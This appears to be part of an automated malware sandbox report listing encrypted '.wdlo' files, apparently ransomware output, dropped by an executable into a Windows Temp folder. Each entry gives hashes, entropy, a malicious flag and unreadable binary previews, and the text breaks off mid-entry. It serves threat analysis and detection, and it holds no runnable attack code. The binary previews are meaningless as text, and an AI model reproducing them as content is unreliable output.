Preview:	{"ram........xP..UT......&.k...H....B.vr]....\|x.O...L...up.?^.....a.....q8v.@...mT}W\..7...#.,cQ[cL..Z.}.8..VM+).N.G.G...g=M....a.3....../...+...~Y../;...MdFO.@=....).......6..}{2".[.....}N.$........-#N.~..rk........Yn..k..O.5`(wP5g..@.].j.[..U8E..O...[.g....(.....G...7^.(...$a>....jO..4.v.u..B..c.v..T..#...T.r.....{>,.....eBGx.O...H..]..0`=u.e0..M...gZA....LQ.n.}...=F...jt...../.~+.......3..w.J%Dh5..V.Q....JH...7......c....G..S..S..c..Ef._.........X..}.......sc.9.Ke.....1..4......w.~.....,.....g^.&..?...f.....#c......0..l....C.:}.Q<..._.f.U....9...:..&.5is.. .B.^..X.B!W..w.\|......2....'.Cd....:.k.U(........V..B..}..A....v..{..._N..6!...D.bO.U.jV.X.x..,59.vut.j.d0.n..y<...y.%.W...5]Mi.\7/WZn...%.\|.....$.a...[..d9..I......9k.............$".+Y.....T0,0....@.. 8....n......3".........Y...R...D..q....._.?...;.F4..{...........f.1.B..e......(...P..>d..qIz...J...VD.y..!..Q.3...e..N.....67{..7....e%...EX./.T..It...e%t.4..J.

C:\Users\user\Local Settings\Temp\wct38F0.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997532127995071
Encrypted:	true
SSDEEP:	1536:N8UkoNQTEBp70Ss1w16PHJckYpjZDZgzGFIExiUcait9N1aj0C3XANFN:DkoVo1zPHJpYpVIGFIjUwz7SxnANX
MD5:	A8DC438A9908CF2E89316FAFF05FDCE5
SHA1:	24E603DBDA2770659E4210D28A2CC1A41C5FC3C9
SHA-256:	149438B8BA08294F569CEC77A4910DC07826F1E4B6CBEAD8DA37F99123EB8D5F
SHA-512:	BD9250512921726F7ABF82C714EA7FF07FBF2ABBF2BF239EADDB75CEA1F77BB934E2CA21C1E674A87F145563AF4D401A8C8D6E3FA2D360CF07BC5D4C27A14A16
Malicious:	true
Preview:	{"ram...2...c...3.....U..)..p.h...-2.e.............s..M...4bT........W3.D4.s.4.o.E....P.%A,.qE+.n....l.?..M....e.C..n?r@.0......j..zYJ.,b.T.:+6...^.;d..d.t..+.....o{...v.B...s/KI..g......3..\|.8a.G....mz..[....j%N.Nzr.Lp-.:.f.9.....9..w1'.../...3.Z.Yo.?...............7^.T..#B.gDF7D. 4N\|8T...#7.[).n...]......X.(.e..N.....E.Z.....u.'......?tZ...R.....{.^._h@.c....j.V.g?...3_p..V.9.....&..p...!.F+.Z<...l..........-.P.O&...h..$....mx]!.-Ti..l..s.O...n...`."V.>..k.y.i.j...[.....a.B.].D^.b...}....4...._..z.LT=.8.._.e^.7..........nT*\|........~Q.X}GO..N >.._........a..t...L..Q....?..R..rI..%.B.;.iT.....u.0S..c.PJz,e[qh..B.'[7z....4TPr........:.%:...'....x..+..xl.8n................8.O..{}C/.^y.3..[-....4..\...z.m2[.3. Z.."_&.Z.....l.ei..b....V..rw.k.e..#1..6...0...%...q...4#.u.2Fb.qq..P...c.H......o0...\|..IKZ..u..~Ug..6G.<........b.jQ8..}d.....p..G.....=.....^.(.v.$...p...g....gD@......"....M.a...`........:...Y..R......F;c4.rc...{Fx..\|

C:\Users\user\Local Settings\Temp\wct3D66.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	1601198
Entropy (8bit):	7.987415523780472
Encrypted:	false
SSDEEP:	24576:VxKWlt70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzUe:2e24gQu3TPZ2psFkiSqwozL
MD5:	E9835D662CD636A2C2672EF8F4B33645
SHA1:	8FA15800751DCC30CDFFF6743C5355AFD09568A2
SHA-256:	3854DCE8C8193F79BB496027571F264221A13B4BBF7B17CD176D09D66D6F64B6
SHA-512:	5E46752677E5226EC62C8E8579AE1237F3D168E62F458A2835C864FE9D4C0AA8918DB0B16B038FB07E84C3D1D4641E50D86AE09E7B244FCBCC8AFBFB2BF85016
Malicious:	true
Preview:	MZ...,..#c......$...k).hp.N%..'..P.L....9..@..>>.......[....Q.\|.Q.....18..h..UC.v.A-..h.&..OQ.K.O).....xs.MX..........g...B.}..q./.9....c....{]...:...x.4ak......+.rj. .N.yW......R......x.4>5...4.`....i....em.,n...H..lb`.6...$....3....I..o.A6.uVB7>..-...Z.m0.A.d. `.>:...)?..?.9po^.:..).Y.o.,]0.?,....w...R.\|..<..}....?Lb..s..(3[,....!.u..[?C.^...@U....1...]4.I...f6.Oc.<..\|..P..Z3...AJ...LBx...Lj.#Y...>i..91....r.S\'.nG'.... G...........7.kP...[.~.T...VJD...4.5./.&F_....pl.XD....\,..M..<...i1...Cs.[.Z...).)....z>..ve].O..........PAf....Jpw.,i.y.Ao.b=..99.:..o.g..W#.0....(DPV........l......u...mv"....+.,s lg.E.v(.~.e.`.L...........7.KwJ3..S{...'.M......DkRdZ.;.Y7...m...!..+>......R.U.....M..6....r..h^..:E..Eq...r9......0..8.Q>.5..4.@..3...1...QiR...9..)?...v.gL.Q;..Vc..m'....CW......H4.FR..G..,...Kl....]8.G.f..b..(0.v..d..$:.Nck.m..Z...E.~wU.D_..%.wZ....F...T>.R...".... ....3Te .....I.}..r.m.\.k.y..h c.3..P..6^...k......X..ah.......ej.D

C:\Users\user\Local Settings\Temp\wct443C.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997516602931139
Encrypted:	true
SSDEEP:	1536:SLHN6typzCEeF7Aacl9FqJ/Bncuys+V0V/4+A:SLHUI1CD7UXFecNsm0VvA
MD5:	146FF26517DA50BE0CA50461A91DA4F4
SHA1:	E95AB0BD9F6C1E7146EDEA3E2F1D98DA67E6D57A
SHA-256:	F216DE10444E10BCB4CF678BC5399D745898353CEF8F5A13B523246C4E4D99E0
SHA-512:	1C8F955DD0C62240CCEBA35B77BB3D3E6D650F75778B98FC5511B14F1BB901C2B4D9632E24180FF7638D0557C0D423C6CCF8613DFC100F9C616FA39348473B30
Malicious:	true
Preview:	{"ram.r.a..,....;....]....K..S.....>..Q..`.&....A...d..%.V.R..U8..Oc=.\|......+3[>....fh...]...a..Y.r..w.2.{F.xU../.....s.,n.....N.(]...a..0n...^..(.h@l.....h....n.[.}-..X.o..n.......z)8......G..mC....../X<"..2`!.6..rp.j.m,.;9M..~..,.".c.G.-.\.>.....J..._.>.'^.tzK......_.}.#.......p...y.g}.8...........AtU.g..?Gm.b.c;.;.KO....j...>.H.bU.....)x.....z.%N..$.#..'...&. J.oI1ln..8!H.Z;#b@-...~.e zN.C..+.F....O.\|...ee.v.#0.I....aZ..K..2i.......l.....#.....'..=D...K.R...?C....m.....h.q.J..1f.......A...Z...'.[.5.J.H.R...9.o..l..O...$,.u./=.3v.!..u...g..1yQ.ld.w........].....m..Y.lP...Lw...7k.s.T.E^;oC.O.1k#\$...'^3.7...i..9...V...5....z..S.ks2.2j.<...h'P......-..f9..F9...ne.f"...x.......-..?#.....%a.?.s...v."...r...R....;..}..\|. .cR....\|_R7......j..-J.#:)-..2...U.[KK...L....p....\|M..%Ak{.HN.>.5,9..p!P1..q.h,I.....7F...a....e.........LOn....HB...$.....USR.N3V..?c..SK.._.#.n-..e+..kk=..?....z....k...`.4.O..~...9.\|l.._YE.6..N..F.a.A...8..4.$..uz..

C:\Users\user\Local Settings\Temp\wct49A7.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997262661198143
Encrypted:	true
SSDEEP:	1536:D3KL45tZYtP2DVY9nEBRL6Q8NVD6YcRwE7VzY7TchmxXkVy:D3Kc5t2tP2S9E6fDqRwE7VzY8hmxXkVy
MD5:	0FA05902B37F0EE14F067533211A320D
SHA1:	EF6C73D7CC0D611435628502E71A9CD9952CA565
SHA-256:	35C3CD4CFD79F3E5C840D6E59FD2FBBCE317DA974899A0A06A7C96FE14A4D8C3
SHA-512:	11E3D7E505EE492A9E2D8D4D8FB06DA522FF88899891CD5BC4AA6EC88018DB0557B8CF38EFDF9A6C7A986C2388A40C2EED97D22EE84FEAA80200F0F96A1347F4
Malicious:	true
Preview:	{"ram.Q....IF....#.w..W.b.{xQj..O.+..........\|..:"..~d...Zv`...7..A.~......E......z{.rn.q..........O.....f.,...V.....%..Y.l.T%.e......S...o..7Q.(.).G..&\[...t.'........N.07..V.n.!K2.$.......A.y...L0.!0m5....S. ...G0..I...(cE.:.,.....COi(.&..q..\|".1.U,....3..EE.C..y^.v.6.M...p...r....g.\.U. ..h....:q....U...o.9..n..0.9^.....#r...=.1.....t....<;v..%.....ia...X..T..@.cW5..`$...N..z..."b.D..nR.....@...!..e.f.s..".9U..y..u}Gt.....72....j..=..^9<.f`.Y8..w=...L..Z.......$./..-....4.P.....P._..9.B..A.K.P.&.H,..n........@]...o.....m...dL......`............:.]Deo....t....-@X...U.cx.p..>.}.H.}....N..........+....BUJX.j.."j..-'.d...!V.#..^3..pR. <.M..}Y.....O3.iKQV........D.....u7./..K...,[..\|.3..=...-+....e...........l.AM..w`z@..v.X......X..b'm..Qy....4y.L..OB........E......l.G7.w.y"Yl~C.+{..AW..E.Da..l.z+%..@j>x...!.&........`...0...F.......]...K R[=.QuMB]!..K.s.FO. /..`oD.bwG....[QSC.o..l#r......}K.q&).?>.xS...p.p.q....E.....&.z..U...y

C:\Users\user\Local Settings\Temp\wctAB5F.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997464264265011
Encrypted:	true
SSDEEP:	1536:pv/W/Uwo8YvitFSJfq+CqcVd8VUYS/ATDNi69J85tEKzS:NO/U98YqTQ9cVd8VUYS/A/Ni6M3EK2
MD5:	A6A7D7A34D4A31DAFF4E8E2D419BDA40
SHA1:	1041DF0516739538552DA57A9B59054BDD3D6E48
SHA-256:	982152DA228FF91AA311EB1DFBC7BCFC0744F8F8D10299CEC23B95F2090DD356
SHA-512:	4C45B8A28DFA8DFEBD7B8548AE39DEE0BF46FCB2B561292EB980314B2D8979D7F701F1AB83B66D402259FA2BA905B098EC06EAA1D2972AC2FCBA69186A862568
Malicious:	true
Preview:	{"ramyQ#.}........01.i..~I......}....vt V.-......Y.Nt.g.,...........QM.y.n..>A.....$.....J.........]=2En.#l.s.....LI.^..mc..?.e.FJ.u.....<..~V....>F.e.4..B=....o........P...G.....[....s'.o&..<...+....4.7)\h..l......M..V.4.1.q..p"J.....y......vb......F..P.."..+M...l& tp....l.:..ud...G.CS.a.[lwS..]B.!h...aUQ.+....Y..1....cj.B4eIl.w...."....Y<<...O..U....]..h ...S.mO...O}^...5..'....L+.V..%...P@.y...0.....o0.W...Un:.W..S.........g..yp/.I..D.....-.....B9Uq.=m.....b)..%.Bq.....ZZ.O$#!..O..J.(.....P@@f..v.X.4v.xl.4.\.$.r\..{.$h.SRD..!u.d....H.@...b...^.....n.h.F.\..q.-t...KA.a..n..X.......fN&Ps.>m...?...o.M...{T\....)[.b2..]..E.u.......Di...H..E.49f.-......7\|.a........[O...9O5.`(].....~*...\....^.].-j.4+.}.l....B.I...t(...Y..7....JQ.....a...w.TD.}$N>.+.........2$.KW...rw..B\|x{M=I.VO.0X).z.[\|L..FwR..{.Rc.`d.c.d..,.:r...}...7.)j.-(R5...!`V..........>f.....1(.Q..l..qf....f..~).EBW.(JM.IBC...z....-.\....#N...V..........f.=55I/..t...?YQ.u.'.@....T..

C:\Users\user\Local Settings\Temp\wctDB2E.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997290587016875
Encrypted:	true
SSDEEP:	1536:3GZfszZAX+juQ8J4t5EKWOmDumN1VCuHCH1nlF:M8qOKh4t5EBOOTVCUCH1nlF
MD5:	CBCD09D9291E06600C6AB8864ED365F9
SHA1:	F0557583CC29BF0FFF9444D457150773FCB71D75
SHA-256:	97D161D47F4BAA3C96D63C490B886DDDC6E30956B8B329310DDCB8587B29F85A
SHA-512:	BBDF1853D128CA50216650730A3998BDB3764A41010B902EFAF3B44C9BC3603FE83746AD36A359856E1B58FB864644723899D8A11DE466BA2A90606328DD0EEA
Malicious:	true
Preview:	{"ram.)s..g..b.$R$....?(...9.;mc.fk.:.%...8..?.....:....U...{...C..r.`w.n..7.]...4..v......f......`.}.._V.....(.=W&.+...E...lB.N\.iP!./...Q..J.Ry..>I.K..\I..i.#............O1.H.&~,G..X.".......T.`.".h.B..S.^../.......]`9Zr.......4.~..\|R.....=.{..E..Et..;.!2.Y.zX=.j...0eM.n...V.....M..?....T..#G.T....5.TI....q.OMo...Y..b. .U.oi\|..W..Vi...D(.^...vz...<N.Q.q.)..J..:.[ a~.3s5.1y....(.....&.1.8.$.Bx.;....K.\.C.k../....R ....Jd.c..}-".$aK...\|.Cd.>.G...&..4gf\... ...r.WH.~G..R.D.e.\.2......](..D......TX..._........F...r...8...&hp...I.b....."........X.w.....G..78..+.F..D.y..n......%......\|..]l...=Z....\...j....r.&t..D0...@.....l......m ....}3).mC.\|P...a?.dRW.Dp..............)..0U.66<(3.b.../..0.`....a70..ad.!Q....alZ........V...F.Q.....-L,'.w-.7...a..e......Y\|.....\o.2.+.)t%D...3.d.....sP\|......q.Ed..._.`..x....<...G........`....<W].....B..._.....>..*.+Z ....Zy.y......n.....z.D~...\|H......X..~...Hx.w).G.s3...\|.sa..)r.J....9.oG...P....\m..

C:\Users\user\Local Settings\Temp\wctE4A4.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997571670501565
Encrypted:	true
SSDEEP:	1536:4uC9Gyd6zp8P68pSTyn5B9reiS3wKStK1qg6UUa85CO1tZ+9heZ7:Y9Gy2+7pSTyVKN3stI6UkEO1+heZ7
MD5:	1EDE6E74F45EE999C319DA3C968682F4
SHA1:	39F561FA6FA96866FA3B1BBBF642DB00F8425ED8
SHA-256:	7526222747550EDC680A55A067F2DA2D22ACEE91A1D2BA3FCC6CD06A9CAE950D
SHA-512:	21AE7FB21EC7940740DB4F24FD35B99BC4A8DBEEF60AE6E0EA2FDD1662B26F1BBD572869D4976B9F841D22FAEDE2501397BC7231E73E8317E39D4061EF2E2CE8
Malicious:	true
Preview:	{"ram....7#.M.Aa?....N-..Xf..a.......Z[.2.....y.5....I..X..0:....8.....+'..>b.....Z.Q....lG.E..8.Zqxn'.7..c.O..T.1.h.D.....S..^Dz.l..8B...Q.ix=,zhK...(.G....^3g.........z../..V.&..Z.%u.R...0j.Q=.t....09q...%.d.X.......Y.;...+(3.1.P..1....C...1B..Zv)i.Gt.j/w.....u..LTKQ.?.s.g.....d..4:.8... .,.<...-3S~k.j..%.....S.....B.>+...F_...S{r......J.A."N>........[...Z.G.{0}.t1...{$........Zvr.8$.$C.&.....\.F.....6..?.....".f.{R.E..D..j.Y...F.....L.b.VP"S....U..6...O1....j...8b.NI........=....p...ad.g..tX.y.}\t\|.....o....5p.(..7.s....].\|..w.X.....a.{.&...U.k......)..U...X.y.L.-R.A...c.+....7.....>.S?.1.....!...;...k.H...{..0X..~?.....P..1.t.m{.....e.P=...S..>...n...q.B..Y...s..K..mt......D...,..j.e`.......\|S.0c0.e@..8.....SGJ..q..a.C..c.,...y/`z..<eMQ..z`4^....?...B0.\|.AeG"6...cS7B.* ......_..l.M.....e.y...~z.A....lz....U0.?.. o..d..~4.........n.iN...+..;,...'#,{.."..B..k.h..-.2.A>j.\..y.....f...$.@_r.W.t.B..A......E..i.Qt.:....c./..:..!.

C:\Users\user\Local Settings\Temp\wctEA40.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997238747195217
Encrypted:	true
SSDEEP:	1536:xsaa1dFukVc5fY2CmXTZictPZ9JBwfXsScYAJpXHYC5QaDWhec2bL:xsac7gwQTJks9VHXAecEL
MD5:	B053840C9C2B6D5D87BD5D7CF62F9D86
SHA1:	4506BA4A3B808D44862175B33EF69319A2FD5A38
SHA-256:	60BE92957C0197ED66A10AC947EBF666537E97D260EBCB5F7F53D3825990629C
SHA-512:	03F7B09AB7C288C1F4654CF4E714E904652608A55443A581E75A10251F9324006516987EFE3C18017B313995B87C0FE2235FC8630D3A39FF8FA3B9A659686A9C
Malicious:	true
Preview:	{"ram.{SM.b....pZp..$...U....k.`ID..M9\|.\...3;....,...l.v.!'....n~................b..MG..).<....@.E.....T.....T...X8.@[..B>.Ol...v.Y.{.....'.X.Q.h..y.S..8l..)..e+.$..L................Q...L.X...].9..u.....^M:...4BJ/R.M.......}E.B!G(...E..}.......Y.HV.. ..D4...&r...m...H#..V...8..er...vH..IP..>L...Y.......5...yq@.7.........S..j`.I8.1=.i..9.r.EuF.hR9......Dy. .>D...Aw.p....A._..^@..C6.D.,.......<.RJ.-.\|..O)R...x...Fl..3+..b..k...9x...E.l.Bhy/_....6.n.K....../.6.#f...+...y...[R\.o.QA\|}.C.0].R...M.M..7{.......T2..z/&..l..-.....:c.......G&...;.P{.W8....P../..`.J.}..2\|.g2.....(D.&.lk..`...zu.q/1j.....8P3j..\.f....q.....".@..? ..../.......w>..?..#.........pv.O.!S.B/V.....JV....u..v..g."..v..FeL...d...s..@..oj........u.!.B.t.tA~Y...R(...N.Q<...g.O1%..f.`..j./.v.A`$./#..........;.4.b.....b.......^....\|Z..1..I........hP.B....d..B.'Q2.t..A.......#...M!..S..=..#.?.k.w.&l.\|.....P/e...%..AW..zC3..V..._.... H..U.E...#uZ.../a..q>D3:K.:G&.]...]

C:\Users\user\Local Settings\Temp\wctF411.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997601487127691
Encrypted:	true
SSDEEP:	1536:d3Xw7BcQThS33zJMgbusCY6+u57W2u/g0B34LTOyc6yqx:dnKThSTSgdCY6+u5YYUETO6n
MD5:	D1AE193575F715C700436A5CC34EE2DA
SHA1:	EA5F8D25B03F6532EDF9B2DEA19F3CF3856B4114
SHA-256:	7D0756F98BB5C1E13BFE2C8505CE7064280996E60AE81465A22E1C9704C395AB
SHA-512:	5809E8DC1737168D666E4260AADB8ECAF1157C61A10EDC77444FEA90D52458DCAC0000AA7C2AB5366853266AFF4DE3925B337E43B26E828142C56D5089D70133
Malicious:	true
Preview:	{"ram.......%K..y....S.......b..#:gd.8..Ev..F.....=dr.......;...........b..=.9D0..&...Zry...d.....T.B....h...r..T-....%.-l..Sz..G.9...z.Ca.G......}#..A.......k(...v..+.U.:.76...b....fZe.'..x.O...v;...>{.....J.6H..g.Ay...i.........%.F...].L!.`..@>O...!..\|.j.q.P.Aa.5.0....;.. ...=..#....~.@.l.f.8m..8.;.2.-q...)~3M.z...T...=..a]..(sP.;6...h..f.....;oM.]x.ac....H(O...>.\+.#..=.......'.lF...).Z.^...K..... .Y....^..%y.S.W...N.rI.x.{....E......r....}..!.....R.....Yi.......jk`.....x........e...d...e....e,.o.LMJh.twf..I.`e5t..9"\..>..3.^.w...(t+...?._3`......t...$...o...F9!}".../ ...._7..-].0KXN..h.......8.....7.Of.=..K..p"4...... .*.....[ag1...s....._fX\.l.........(.?q2M........d..V.8.8N........Cfz..B..{........YxLz'..h=......Ds.3....h./.L..gH.PE....n0.jES....(.......'..&.k."Z5..]2.+.j.N..w.N#...z..B...cG0.?.....L.f8...x.m...b.&V...\|MV.h.n.....R..\|..qOEO.8.oy..!..T.0?.t.!..c.....].N...%0$.+...........D....?......{....,.{4..!...0...{.UF=

C:\Users\user\Local Settings\Temp\wctF86A.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947667368865371
Encrypted:	false
SSDEEP:	786432:uTwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59N:uMQcWxDMPnN+dk65gGUjku4vNjLjN
MD5:	79377A0A359A9E9F5E93D16B197AEC55
SHA1:	4A2ED80824F112B88FFACCEE5C14CBD695F6902B
SHA-256:	60FEF5C936C98506FCCE47C09960A5FCEE1FD395C1473211C8EBBD1BAABE97FA
SHA-512:	A7E653C8EE131F65EBA1A2DD9439CF3D11B11AE66D3898A3DC0F149E0DB8C7AB66F9FE847DEF895DFED5D05305A6A68EB8C8110AF7D5F3ACDF632BBEDAD8F3AC
Malicious:	true
Preview:	MZ.......u...[.qz..=.s.\..r^o....!./.`.....`8...4.>......j.s..WB...f..L......,.mb.....+Jm.;..a..I4.w..o......7...x-.&..NH<.`$...4.......t........=R6..\|...`O$.\|A..2{.u...k..8....OQR8......=..K(..~o..K]#w,.)..#f0.X...m.+.C~...r...G.c.1S<......y....30....g..3.[.....9...C/T......W.."A/..p9W.P.s/...c}3..5....).=....dy.......'..-DjH.S.pS..c-.l.^j..,A..(....^@.uf5.*.m5..g.R}50........3>..\....-.....e(..;z...$....G`..e.p.8......9...G.....l......#d..(V8q.@$.{.g..~..;(ZV...O....T..o.(.M..9h>....c~.....?...b#...HAx.Uww..{...+..#...i.qu.a.....I....;..y.....w..z.\....WM.......}U...w........k.f.?uQ....^FV$....N.[}..};..c.{..^...Ij....a..>.....Hz..}...E>....(Q..J.....B.K.....y.....!......g 4z..W.K.i...b>......0/.V.?...<5....<?8.\|pU.x.@HCkL(8..{F...U.....D..}..I...fDtzG^.i....I..@......o.$..$..5.t..x..,..........Z?.[ob...ZK.Hm.....2.....?.G..n.NT........d.....F..Xd..;.o.OA..`...ui.Gp......2.H.Y.o?mQ..G....A..@.e..."....M....q./t.~..9..

C:\Users\user\Local Settings\Temp\wmsetup.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.795738866557527
Encrypted:	false
SSDEEP:	24:tGTyPGeoGfYjgQeg7k9PFXu9zH0B+W3zbD:MU6Qg7k2p6+W3nD
MD5:	D7873F9FDAF19D17CB86037C698B550F
SHA1:	E6277B9996222BE5103ED2C22F54DCA24635AAD7
SHA-256:	CCF68C08A899534CC81CFF15DFBC8B59B939562190BED062CAFA3304CA07DC36
SHA-512:	8705262F5A10628A087A048035851282FFEB016F70AA467D3FF30FBB403B55F69C16C87E0D58177F7B60258BEAFF7B9BB654FAEC987C048F5BD59ABF0CD32013
Malicious:	false
Preview:	..[WS\|.@O}$...D.4....p%;.q.>..\........+.......f"...'...$.O.d......a1?.Xm..5..\|.:+.8m.j.t.`s:2.X...w=.6O"q3=....8.`6..l.7.......xzm... X.._.`Mq..^"m/..i[.(V.r..c..J.p).<4...4,&Y[...Z.N.../....Jc.o-......y.&q.<.u.....\.......NY.qzt..).....l5..@eo....sp.y.lQ...$.._..d..3..9.....B...&!.W.N.7.8..].Q.W......\!.,.Myg6..%......rl..@<.3......\}.^.M.....]Q......O.....5..Y f...Q..{=...Q....\. E..{.?.#sA.{.fW..`TP...`...9tY.=1.....H...H&1COx.!.......c.....H._.......b..r....e.!I..}....8."..W.k.Z6.`0..!t.....q.?....gf..!&...]..R.!v..........n......y....p..O`..a...........r<.lT..%...b.....9m..lH.'.#...hv".%...W....C.<...U.3..* .}.ud.PYOB..R....}.7....Q.j.M....I.....u.O.s.d.Q...Z.g_..9.[..l.\|..>.M......4..YnN.b...z.Vd.Of.s...]./+...wV.......R-.....+P.2.^;....qd......^.ws...N......-.rT.?..,r...R..w.4..}pfn..~.v...U.g$...\|.b...........d..J.M.-...y..#/....*.0O.O....f.............ix;.1B.....?........?..D.9V..S.+....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698

C:\Users\user\Local Settings\Temp\{02662522-698F-45B5-959E-0EC7B36298AD}.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.970367334009063
Encrypted:	false
SSDEEP:	96:0Lci2EU1XDLBj9IrXSjrcE+bWes8lMQ6gSX3K/iSBxYXcfki7fJZ6Yj46RLAH+dH:0Lci231xIrCjmZxz61X3GhakkaqYj5ZH
MD5:	685D60984074997BA64145F9330CEA85
SHA1:	3C957E570D0E9A092C893829F2F65E57A40C4BBF
SHA-256:	634666F2FF1030C93AF13E753D6999124BB864C0186AC61EB259B2899318FA98
SHA-512:	FE1AC5744DBC4881479E8F05C853054562EE4AFB6EC74B2BAB20EEE2A339975D47B28FC1D934635AF6E9E81EACEA5B591970C1E9F7AFC3AB2B09149312A07FF1
Malicious:	false
Preview:	.PNG.6....2GI=1W.a%W.]./......E.3.R......`.r...(k....2.w..W...y....%."O.(.....2m.3.5`6;........3.!..e$.\\...M:8;.T..w....Wm^..]...o..(..]..r{...%.v'..#b......C,.<.A2.y;......}r.JTb.......\.L......4..D.=.f...%............-s~EU..7.a+....+.a...00Lk.4.Z..xt..;..m..ID.K.....@.t.xB...V.W...J.ZK=pj../..;..e#..&>.c..g.].9..j...aN.or....-p#.....C.)@.t..Q..b.$~j\|....... ,Y.i-...\I$.Q.1..Ff...}k..0a....@..."......Z.........7.4.<..w..........d]..X{..kt...f....L...e...f..R<.)..7.v.!n..6b.C...n.....Q.H?..9..<.P..'.-S..5`..G<9p..iI.RRS.....5.C{d.8.u.g`.d......FF....t.g.O..t...#l..t.....{..^.....f!.&..j..........$....)..7....3.............&:..-k`f.r~...<....W...._J..>\..y.......[...5U....-...N.5..:d..#c......B.5..>9...B.......t.4.y.t..\|."...zd....~.Qmj1...y.f5-7dO.~.&.3...x.#-..._.A........_uK..6~H$...T....."s(v..N.....\#=X..,...bM....5\.=V..)p..-@'.....~H..~........([).W0.p...[!...^.#....xU......H...\|....x".>.P...[..G.^e..d3uD.......o..b

C:\Users\user\Local Settings\Temp\{139BFC28-947F-45CC-9DE4-AB0FCAEF6E9F}.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.974889229569461
Encrypted:	false
SSDEEP:	96:AgikY5IfUHpaQJN7/1fLC5Je5pGzVK2Pm6znug2l7EmhY6zoplU5fz2bjQdjGbqK:A/kQ6QpTNRfLC5Y5pGx4lsRqt24dPpKF
MD5:	6BE046431B8337443BF0CF9CC84D5E6F
SHA1:	4824FEAEE5EE3ABF1B5EA2AB24C64E2308B25D9C
SHA-256:	F80C0800E8C855ABB45916382041C5436FDC71EAF74B09BE0865A188D2F5DCA1
SHA-512:	8C2BA35C09FFFFD04146793CCAAD76F1FFB78CE9A2F98C80CF5317CD8F0921EA7F5D2379C006ECD2BD1696816E5828BBFC9A025FACDDD3108A528862C6F44035
Malicious:	false
Preview:	.PNG.f........%.....B....1....}..)'...5./]....Qd..."J.l.]>.q..5.....m7..}...?.....!f...0}..(.&J.G.~......"C......,`..A.Z.mn..IX..v]gq6R.G.\|...?..R.t.nH$r^...%Im.=\|Yd1..s..=V..N,.`.......J;./`Z-q...".k.i.......H_\.{.2.r.kT.9k........vO...Z.Z#../..>..9.(.\|.91.!.g..!.x.G.;..V....M@{9..M.S...j.Z......N.;E.#.-+Z-..yv.5.~.M...k.B.EF..c.%W$.......R.9Od.i.f.1^.M]6O....-Ry.k.....M..._;.#T.....+-1.z;.b3..=......Oy,g....".^...><..8..do..+%.l.3b...{...n.#..~#...K...........4i>.B.$..6...o.Y.3...W....$k.d..>@\|Ic.R.9.j.^eL..P....O...at,M...2.....+......>0..i..Q....z...7,.g....\..y4ri.~...........,.2\|Wn..>?..../.@~.2bC.Y1.]c..\.....N<.O%%..[Hr...Q..OA..!.u.-9{...8M..P....I.Zu.y..B.A..0.'.F.vf.#...z......o.....G..........}..:..kif.("......CG..l....Y...X.u........@c.........e....$...x....%.A....r'.g?}.\|.N.......MxfM.....{.1..:@J.R..FL.'....=J9'g,!..dW.<..d..o1/O.L...2>.,.h_.>...5.._.7..1.\|,bZ0.`.[.].m.\.ma....,:..B...*f.WA;.F=...>E.........

C:\Users\user\Local Settings\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9752437410711465
Encrypted:	false
